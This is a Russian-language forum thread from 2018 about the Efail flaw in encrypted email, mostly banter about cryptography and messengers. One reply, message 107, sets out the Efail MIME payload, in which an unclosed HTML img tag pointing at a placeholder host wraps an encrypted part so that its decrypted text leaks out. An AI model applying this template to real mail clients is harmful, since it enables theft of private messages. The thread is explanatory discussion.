Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Режим отображения отдельной подветви беседы		[ Отслеживать ]

Критическая уязвимость в системах шифрования email на основе..., opennews (?), 14-Май-18, (0) [смотреть все] Зачем альтернативные каналы и signal Просто отключить автоматическую расшифровк, Онвоним (?), 11:03 , 14-Май-18, (1) // Таки да Тем более не понятна связь между автоматической расшифровкой и уязвимос, Онанимус (?), 11:08 , 14-Май-18, (5) +2 // Я предполагаю, что уязвимость - это сохранение почтовым клиентом исходного незаш, Онвоним (?), 11:34 , 14-Май-18, (10) // IMAP Но в таком случае, уязвим трафик до IMAP сервера Дальше то письмо идет ши, Онанимус (?), 12:08 , 14-Май-18, (31) А ведь неломаемое шифрование изобрели ещё при царе Горохе, одноразовые шифр-блок, лютый охохонюшка (?), 11:05 , 14-Май-18, (2) –10 // и наградил всех счастливых потенциальных корреспондентов гигабайтами мусора , Кир (?), 11:07 , 14-Май-18, (4) +3 повод съездить друг к другу в гости, да, Креативные инноваторы (?), 11:08 , 14-Май-18, (6) +13 И как тебе эти блокноты помогут в ситуации, когда уязвимость не в самом механизм, angra (ok), 21:08 , 14-Май-18, (105) +2 Настало время создавать логотип, логотип сам себя не создаст , Креативные инноваторы (?), 11:06 , 14-Май-18, (3) +8 // Дыкыть анонса-то не было ещё Это слухи-утечки, подогревающие интерес покупател, Andrey Mitrofanov (?), 11:36 , 14-Май-18, (11) –2 // по итогам, новость выеденного яйца не стоит, Аноним (-), 11:37 , 14-Май-18, (13) +1 Проблемам присвоено имя Efail Я прочитал наверху, да IMNSHO лучше б дене, Andrey Mitrofanov (?), 11:40 , 14-Май-18, (15) cTLD apple ещё не занята Эппл её хрен отсудит, так как можно сказать, что он, Аноним (-), 11:43 , 14-Май-18, (18) –1 И озаботиться рассово-половым составом команды разрабов , Вареник (?), 17:11 , 14-Май-18, (73) https lists gnupg org pipermail gnupg-users 2018-May 060315 html, Аноним (-), 11:23 , 14-Май-18, (7) +3 // Акхр HTML mails автоматическое рас шифровывание Расходимся, пацаны I , Andrey Mitrofanov (?), 12:08 , 14-Май-18, (32) +1 // Кто-то ещё юзает unauthenticated encryption , Аноним (-), 21:03 , 14-Май-18, (103) –1 В очередной раз убеждаюсь хочешь сделать хорошо - сделай это сам Систему шифро, Онаним (?), 11:27 , 14-Май-18, (8) –10 // люди годами не могут сделать, онаним запилит все за пару недель , sabakka (?), 11:32 , 14-Май-18, (9) +17 // делается ставка на неуловимого Джо, Аноним (-), 11:36 , 14-Май-18, (12) Первое правило криптографии - никогда не придумывай свою систему криптографии , pull request (?), 11:42 , 14-Май-18, (16) +15 // забыл авторство АНБ указать , Ivan_83 (ok), 11:54 , 14-Май-18, (23) // Интересно служил ли Брюс Шнайер в АНБ , Аноним (-), 21:05 , 14-Май-18, (104) Вроде бы нет Но как минимум пару своих же алгоритмов он более не рекомендует, а, Аноним (-), 21:13 , 14-Май-18, (108) С этим правилом никакой криптографии бы не было , Аноним (-), 11:56 , 14-Май-18, (27) +3 // Никакой фантазии у людей , Andrey Mitrofanov (?), 12:33 , 14-Май-18, (36) Есть фантазии Самый безопасный метод общения между мной и В Пупкиным такой испол, konst55512 (?), 01:31 , 15-Май-18, (124) –1 лолушки вот и Профессионалы Криптоанализа пожаловали эти ваши гуаношифры как р, arisu (ok), 01:44 , 15-Май-18, (125) Вы категоррически не правы imho Я говорил о том, что расшифровать tr abc bca , konst55512 (?), 03:20 , 15-Май-18, (127) я не знаю, что такое 171 простые боты 187 , и какое они отношение имеют к шиф, arisu (ok), 10:27 , 15-Май-18, (128) +1 Криптография она как осетрина - бывает только первой свежести Второй сорт - так, Аноним (-), 00:33 , 16-Май-18, (131) Итальянская забастовка делать все _абсолютно в точности_ написанным правилам , rshadow (ok), 13:10 , 14-Май-18, (45) Именно поэтому правила криптографии появились уже после появления криптографии , Аноним (-), 15:07 , 14-Май-18, (66) I If you think technology can solve your security problems, then you don t un, Andrey Mitrofanov (?), 12:23 , 14-Май-18, (34) Если бы так думали все, то до сих пор бы шифровали решётками, как у Жюля Верна и, pkdr (ok), 12:48 , 14-Май-18, (39) –1 А вот использовать индустриальный стандарт одновременно со своей криптографией э, unxed (?), 13:26 , 14-Май-18, (48) // Все верно, ведь все-все дыры во всех-всех алгоритмах причем сразу со сплойтами , Аноним84701 (ok), 14:53 , 14-Май-18, (62) –1 анальные карты очень наверное страшны когда на кону тысячи биткоиновну что вы в , kk (??), 17:01 , 14-Май-18, (72) +3 Зато обосновывать отсутствие дыр в алгоритмах тем, что бывшие сотрудники АНБ не , Аноним84701 (ok), 17:13 , 14-Май-18, (74) полагаю, что в спецслужбах как в мафии анальные карты за серьезный проступок , Anonimous (?), 21:31 , 14-Май-18, (113) Второе правило крипографии - если ты не Риндейл , Аноним (-), 17:16 , 19-Июл-21, (135) Боюсь, на бизнесс времени не останется А если все и получится, то придут вежл, Ан (??), 15:07 , 14-Май-18, (65) +1 99 пользователей имеют очень отдаленное представление о механизмах безопасности, Andrew (??), 11:37 , 14-Май-18, (14) –7 // Ископаемое, согласен Но что на замену , Аноним (-), 11:43 , 14-Май-18, (17) +1 // очевидный телеграм очевиден, Аноним (-), 11:52 , 14-Май-18, (20) –6 // телеграм и сигнал пусть идут по дальше, такие проекты ущемляющие свободы пользов, Ivan_83 (ok), 11:56 , 14-Май-18, (25) Сигнал да, но телеграм борется за свободы пользователей и их приватность , Аноним (-), 11:57 , 14-Май-18, (28) –10 Насмешил Дуруов и Ко борются за свои денюшки и делают пиар для таких как ты , Вы забыли заполнить поле Name (?), 12:12 , 14-Май-18, (33) +11 Насколько я понимаю, у них одно другому не мешает - но это пока противоречия нет, Crazy Alex (ok), 12:47 , 14-Май-18, (38) –1 Так себе утверждение Пиарили-то серетные чаты, которыми никто не пользуется А , rshadow (ok), 13:13 , 14-Май-18, (46) +1 Говори только за себя , Аноним (-), 13:23 , 14-Май-18, (47) Наличие секретных чатов при доступности не секретных само по себе свидетельство , unxed (?), 13:33 , 14-Май-18, (50) Эти ваши бетховены никем не признанные фантики , Аноним (-), 13:48 , 14-Май-18, (51) Какая разница, пока их можно обменять на кем-то признанные фантики , unxed (?), 13:29 , 15-Май-18, (129) Нормальное утверждение Получать прибыль с пользовательской базы не обязательно , Crazy Alex (ok), 17:28 , 14-Май-18, (76) Морочить голову надо _отсутствием_ слежки, _гарантированным_ отсутствием на уров, Andrey Mitrofanov (?), 17:41 , 14-Май-18, (80) +1 Ещё неплохо заморочиться _гарантированным_ из,у беганием ,от угроз на уровне , Andrey Mitrofanov (?), 17:44 , 14-Май-18, (81) Кому-то надо, а кому-то и нет Что за манера решать за других, что им нужно и ч, Crazy Alex (ok), 17:59 , 14-Май-18, (84) Огрызок интенсивно пеарится, как и все американские сервисы Их цель - создать ви, Ivan_83 (ok), 14:25 , 14-Май-18, (58) +2 Кто там что им гарантирует - это уже фантазии пошли Не то, чтобы этого быть не , Crazy Alex (ok), 17:20 , 14-Май-18, (75) Как маленький А госы ихние по твоему что маки и венду не покупают Это самое очев, Ivan_83 (ok), 18:23 , 14-Май-18, (91) Любой централизованный месенгер никогда не даст никаких свобод, пользователь для, Ivan_83 (ok), 14:22 , 14-Май-18, (57) +3 Ну я вот не представляю, как можно сделать надёжный, удобный и не особо жручий P, Crazy Alex (ok), 17:37 , 14-Май-18, (79) потому что не надо ничего такого делать для 171 простых людей 187 если чело, arisu (ok), 17:45 , 14-Май-18, (82) Ну я ж даже примеры привёл с SSL и наркотой - оно вполне прилично защищает от пр, Crazy Alex (ok), 17:50 , 14-Май-18, (83) для того, от чего 171 защищает 187 ssl 8212 он сильно переусложнён а мел, arisu (ok), 18:09 , 14-Май-18, (86) Естественно Я бы тоже так сказал А вот тут ты не прав Я делал так, и продолжаю, Ordu (ok), 18:36 , 14-Май-18, (92) +1 Ух ты, тут как раз в соседней ветке freehck завалился в такой режим Из всех арг, Аноним (-), 21:19 , 14-Май-18, (109) Моё наивысшее достижение -- я человека довёл Сдаётся мне, что тот человек в кор, Anonimous (?), 21:42 , 14-Май-18, (114) Да какая мне разница, куда он там зрил, если он от увиденного зрелища регрессиро, Ordu (ok), 22:19 , 14-Май-18, (117) это потому, что ты и есть дурак такие дела , arisu (ok), 21:51 , 14-Май-18, (116) И чё Я и без хомячьих подсказок знаю, собственно, и не скрываю Ну, не кричу на, Ordu (ok), 22:22 , 14-Май-18, (118) все хомяки, а я мамкин психоаналитик Регрессия, говорите , Анонним (?), 00:12 , 15-Май-18, (120) Так это не я говорю -- это Фройд говорил Ты можешь заглянуть в википедию и убед, Ordu (ok), 00:44 , 15-Май-18, (121) это ты ловко с темы спрыгнул на этом, пожалуй, и закончим , Anonimous (?), 01:03 , 15-Май-18, (123) Парадокс в том что это пофиг Если некто демонстрирует уровень имбецила на публи, Аноним (-), 03:07 , 16-Май-18, (132) Нет промежуточной позиции Поскольку оно привязано к мобиле - того кого надо быст, Ivan_83 (ok), 19:31 , 14-Май-18, (94) +1 Ну вот тебе и промежуточная позиция - для триангуляции и подобного надо заинтере, Crazy Alex (ok), 19:57 , 14-Май-18, (96) –1 для триангуляции и подобного надо заинтересовать власти это работает до тех пор, Anonimous (?), 00:50 , 15-Май-18, (122) как будто днс, который использует емейлом, не является таковым Только почтовые , Аноним (-), 11:58 , 14-Май-18, (29) Deeper, bro I https gnunet org gns https duckduckgo com q gnunet dns htt, Andrey Mitrofanov (?), 12:38 , 14-Май-18, (37) шутки шутками, а whois 25 числа обещали прикрыть, бо gdpr compliance, Михрютка (ok), 21:00 , 14-Май-18, (102) Ring, Tox, Аноним (-), 12:02 , 14-Май-18, (30) Телеграм , Аноним (-), 11:53 , 14-Май-18, (21) –3 // Кто бы объяснил на фига телеграм привязан к телефонному номеру , Аноним (-), 12:56 , 14-Май-18, (43) +1 чтобы монетизировать сервис, Аноним (-), 13:30 , 14-Май-18, (49) –1 Каким образом , Аноним (-), 14:03 , 14-Май-18, (55) Кто бы объяснил на фига опеннет привязан к почтовому ящику , Аноним (-), 13:50 , 14-Май-18, (52) –1 Гениальное сравнение, молодец, Аноним (-), 14:55 , 14-Май-18, (63) Ты считаешь есть разница , Аноним (-), 14:59 , 14-Май-18, (64) –1 Да Я могу создать сколько угодно почтовых ящиков И очень часто создаю под новы, Ordu (ok), 18:20 , 14-Май-18, (90) Это ты плохо искал Есть такие Недорого и круто У некоторых даже есть демо-ном, Аноним (-), 03:11 , 16-Май-18, (133) Hacke Nnews вообще-то прекрасно обходится без почты, Аноним (-), 15:18 , 14-Май-18, (67) а ты, конечно, чтобы написать этот комментарий, был просто вынужден ввести свой , arisu (ok), 17:36 , 14-Май-18, (78) Мы тебе про регистрацию, а ты про комментарий , Аноним (-), 18:14 , 14-Май-18, (88) походу почтовый адрес моей учетки на опеннете не существует, как и домен это мн, Михрютка (ok), 21:09 , 14-Май-18, (106) глупый анонимус не в курсе, что на опеннете email при регистрации нужен исключит, arisu (ok), 21:44 , 14-Май-18, (115) коллега, если вы приучите простого пользователя, испорченного смартфонами, занос, Михрютка (ok), 21:22 , 14-Май-18, (111) Кому нравится - пусть при регистрации указывает телефонный номер, но зачем же эт, Аноним (-), 02:11 , 15-Май-18, (126) на киевстар пожалуйся они на каждой симке телефонный номер навязывают , Михрютка (ok), 23:40 , 15-Май-18, (130) Телефонный номер в смс - весьма абстрактная штука Если так посмотреть что в нем, Аноним (-), 03:23 , 16-Май-18, (134) ггг как вам мозги то промыли Телега от аськи и мыло агента отличается только в х, Ivan_83 (ok), 14:28 , 14-Май-18, (59) +1 жаббер с omemo, Вещества (?), 11:54 , 14-Май-18, (22) +1 DIME Ладара Левисона , Аноним (-), 11:56 , 14-Май-18, (24) хипстерский телеграмчик А по делу Почта на бумаге - это 19 век если не раньше , 1 (??), 11:56 , 14-Май-18, (26) не беда, сейчас эксперты опеннета разберут все остальные малоизученные области и, Нанобот (ok), 11:52 , 14-Май-18, (19) –1 // Особенно глубока и хорошо проработана экспертиза заключений эксертов по эксперти, Andrey Mitrofanov (?), 12:32 , 14-Май-18, (35) +1 Мы нашли уязвимость, но мы вам её не покажем, не расскажем и вообще, о чём новос, Annoynymous (ok), 12:49 , 14-Май-18, (40) // О том, что у тебя есть время до завтра подумать и хоть как-то среагировать на гр, Ordu (ok), 13:01 , 14-Май-18, (44) +1 // Все писатели шифрованных HTML-писем соберут чемоданы, бросят квартиру -ы , машин, Andrey Mitrofanov (?), 13:52 , 14-Май-18, (53) // Нет, там же написано, что судя по всему будет достаточно срочно сменить email-кл, Ordu (ok), 18:16 , 14-Май-18, (89) Уже нетуhttps efail de , Аноним (-), 14:33 , 14-Май-18, (60) // Ждём посадок , Andrey Mitrofanov (?), 14:37 , 14-Май-18, (61) На бутыль , Ураган (?), 15:24 , 14-Май-18, (68) –1 А какое шифрование используется в почте safe-mail net и tutanota , Аноним (-), 12:52 , 14-Май-18, (41) –2 // Никакое , Аноним (-), 12:54 , 14-Май-18, (42) –1 Use Protonmail, Luke , Darth Vader (?), 18:03 , 14-Май-18, (85) +1 // Они хохлам всё сливали Не вариант , Аноним (-), 18:10 , 14-Май-18, (87) // А где про это можно почитать Ссылкой поделитесь, пожалуйста , Анонимус2333 (?), 21:27 , 14-Май-18, (112) тоже самое что и у протона, вроде - опенпгп на жс Учитывая что закрытые ключи э, Аноним (-), 19:31 , 14-Май-18, (93) Интересно как это отразиться на каком-нибудь Mutt , Аноним (-), 13:54 , 14-Май-18, (54) // На mutt сам по себе - никак Проблемы будут только если для написания писем буде, alex53 (ok), 16:37 , 14-Май-18, (69) // И даже в этом случае в нормальном клиенте не страшно - ибо его html по умолчанию, КО (?), 23:21 , 14-Май-18, (119) Пока вы тут комментите, уже подробности опубликовали https efail de , Аноним (-), 14:07 , 14-Май-18, (56) // с логотипом уже, кстати , annual slayer (?), 16:41 , 14-Май-18, (71) Ну дык дырявые клиенты, дырявый HTML, а не сами GPG и GPG4win Ручками вставлять, Аноним (70), 16:38 , 14-Май-18, (70) // Думаешь в самом GPG нет дыр Верить в идеальность софта в 2018 , Аноним (-), 17:35 , 14-Май-18, (77) –2 пересылать конфиденциальную инфу в хтмл - ссзб, Аноним (-), 19:32 , 14-Май-18, (95) // Не пересылать в HTML не поможет Поможет не расшифровывать или же не рендерить , Аноним84701 (ok), 20:23 , 14-Май-18, (97) // поможет чудесный маленький фильтр, который html-мусор выкидывает вместе со всем, arisu (ok), 20:29 , 14-Май-18, (98)   // Интересно, а в случае HTML не прокатит внаглую скриптом читать содержимое хтмылк, Аноним (-), 20:41 , 14-Май-18, (100) +1   зависит от криворукости авторов клиентов в принципе, все нормальные клиенты дол, arisu (ok), 20:55 , 14-Май-18, (101)   А смысл Принципиально расшифровка и leak делаются вот так CODE Content-Type t, Аноним84701 (ok), 21:10 , 14-Май-18, (107)   А, ну это еще не так страшно , Аноним (-), 20:37 , 14-Май-18, (99) 1,2,3,7,8,14,19,40,41,54,56,70,95,99

Сообщения

[Сортировка по времени | RSS]

	98. "Критическая уязвимость в системах шифрования email на..."	+/–
	Сообщение от arisu (ok), 14-Май-18, 20:29
	поможет чудесный маленький фильтр, который html-мусор выкидывает. вместе со всем письмом.
	Ответить | Правка | Наверх | Cообщить модератору

	100. "Критическая уязвимость в системах шифрования email на..."	+1 +/–
	Сообщение от Аноним (-), 14-Май-18, 20:41
	> поможет чудесный маленький фильтр, который html-мусор выкидывает. вместе со всем письмом. Интересно, а в случае HTML не прокатит внаглую скриптом читать содержимое хтмылки и скидывать его в ремотный канал? Так, глядя на это безобразие. //в общем хорошо что я предпочитаю plain text и когтемыл...
	Ответить | Правка | Наверх | Cообщить модератору

	101. "Критическая уязвимость в системах шифрования email на..."	+/–
	Сообщение от arisu (ok), 14-Май-18, 20:55
	> Интересно, а в случае HTML не прокатит внаглую скриптом читать содержимое хтмылки > и скидывать его в ремотный канал? Так, глядя на это безобразие. зависит от криворукости авторов клиентов. в принципе, все нормальные клиенты должны запрещать такие шутки… но с другой стороны: нормальные люди не пишут клиентов с поддержкой html в письмах.
	Ответить | Правка | Наверх | Cообщить модератору

	107. "Критическая уязвимость в системах шифрования email на..."	+/–
	Сообщение от Аноним84701 (ok), 14-Май-18, 21:10
	> Интересно, а в случае HTML не прокатит внаглую скриптом читать содержимое хтмылки > и скидывать его в ремотный канал? Так, глядя на это безобразие. А смысл? Принципиально расшифровка и leak делаются вот так: Content-Type: text/html <img src="https://foo.bar/ --BOUNDARY-- Content-Type: application/pksc7-mime: Foo:bar ENCRYPTED MSG // сюда можно подставить любое содержимое, т.е. из тех же текствоых писем --BOUNDARY-- Content-Type: text/html "> --BOUNDARY-- т.е. все достаточно  просто.   А JS все же обычно по умолчанию режется/отключен (вроде бы thunderbird с версии 3, аутлук, гмейл), из-за спама и прочих "радостей".
	Ответить | Правка | К родителю #100 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема